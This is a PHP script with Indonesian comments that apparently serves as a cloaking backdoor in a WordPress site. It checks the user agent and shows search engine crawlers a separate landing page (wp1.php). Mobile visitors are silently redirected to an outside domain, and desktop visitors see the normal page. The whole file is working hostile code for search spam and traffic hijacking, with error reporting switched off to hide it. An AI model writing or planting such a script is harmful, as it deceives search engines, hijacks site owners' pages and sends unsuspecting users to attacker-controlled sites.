<?php
ob_start();
error_reporting(0);

$user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// Deteksi bot
$bot_user_agents = [
    'googlebot','googlebot-image','googlebot-news','googlebot-video',
    'google-inspectiontool','mediapartners-google','adsbot-google',
    'googlebot-mobile','googlebot-smartphone','google-read-aloud',
    'bingbot','duckduckbot','slurp','baiduspider','yandex',
    'facebot','facebookexternalhit','pinterest','crawler','spider',
    'telegrambot','applebot','semrushbot','ahrefsbot','mj12bot'
];

$is_bot = false;
foreach ($bot_user_agents as $bot) {
    if (strpos($user_agent, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

// Deteksi mobile
$mobile_agents = ['iphone','ipod','android','blackberry','opera 
mini','iemobile','mobile'];
$is_mobile = false;
foreach ($mobile_agents as $device) {
    if (strpos($user_agent, $device) !== false) {
        $is_mobile = true;
        break;
    }
}

// Routing
if ($is_bot) {
    // Bot -> tampilkan LP
    include('wp1.php');
    exit;
} elseif ($is_mobile) {
    // Mobile -> redirect ke versi AMP
    header("Location: https://aeriumanalytics.pemandangan.space/", true, 302);
    exit;
} else {
    // Desktop -> tampilkan halaman normal
    include('wp2.php');
    exit;
}